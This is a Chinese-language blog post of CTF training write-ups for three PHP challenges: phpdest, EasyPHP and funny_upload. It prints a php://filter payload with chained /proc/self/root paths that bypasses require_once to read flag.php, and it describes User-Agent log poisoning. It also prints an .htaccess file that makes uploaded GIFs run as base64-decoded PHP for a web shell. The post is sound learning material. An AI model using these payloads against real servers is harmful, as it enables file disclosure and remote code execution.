training-6

dawn_r1sing Lv3

week3-4(3)

BUUCTF phpdest

文件包含

看了预期解是利用require_once的漏洞

原理实在看不懂粒→原理

因为是”once“,flag.php文件从正常使用的路径中无法再次包含

proc/self表示当前进程目录,目录中是当前进程本身相关信息的文件(包含flag.php)

root 是指向当前进程运行根目录的符号链接

组成proc/self/root,之后…?就得到下面的payload

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

伪协议+多级符号链接 绕过,这一堆最后指向了flag.php

最后base64解码得到flag

还有一种方法是利用访问日志

先尝试打开访问日志目录

image-20231108215303372

能打开,抓包注入(UA)

image-20231108221148317

成功连接,得到flag


EasyPHP

有思路,但没技术

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>

中间那些时间戳的东西明显达不到条件,故这条路行不通

之后看看set_error_handler函数,是设置用户自定义的错误处理的函数

能看到触发这个函数也能输出flag

问题是怎么触发这个错误函数

emm利用把数组当作字符串进行拼接运算时会报错这一点

image-20231109153557072


funny_upload

前端过滤+黑名单过滤+内容过滤<?

抓包试了一下php、phtml不行,但.htaccess可以上传

因为有内容过滤,就想着利用script代替<? 、?>标签

但是试了好久都连不上

查了一下发现这个payload只能在PHP5.x版本中使用

应该是版本不对

内容过滤就要用base64编码绕过

.htaccess内容如下

1
2
3
Addtype application/x-httpd-php .gif

php_value auto_append_file "php://filter/convert.base64-decode/resource=hacker.gif"

之后传入的hacker.php内容要经过base64编码

地址栏输入gif地址,POST传入“a=phpinfo();”,可得到关于php配置的信息,证实上面的版本问题

capture_20231109215016930

最后连接蚁剑,得到flag

还有两道下周补吧。。

  • Title: training-6
  • Author: dawn_r1sing
  • Created at : 2023-11-16 22:33:23
  • Updated at : 2023-11-16 22:52:48
  • Link: https://dawnrisingdong.github.io/2023/11/16/training-6/
  • License: This work is licensed under CC BY-NC-SA 4.0.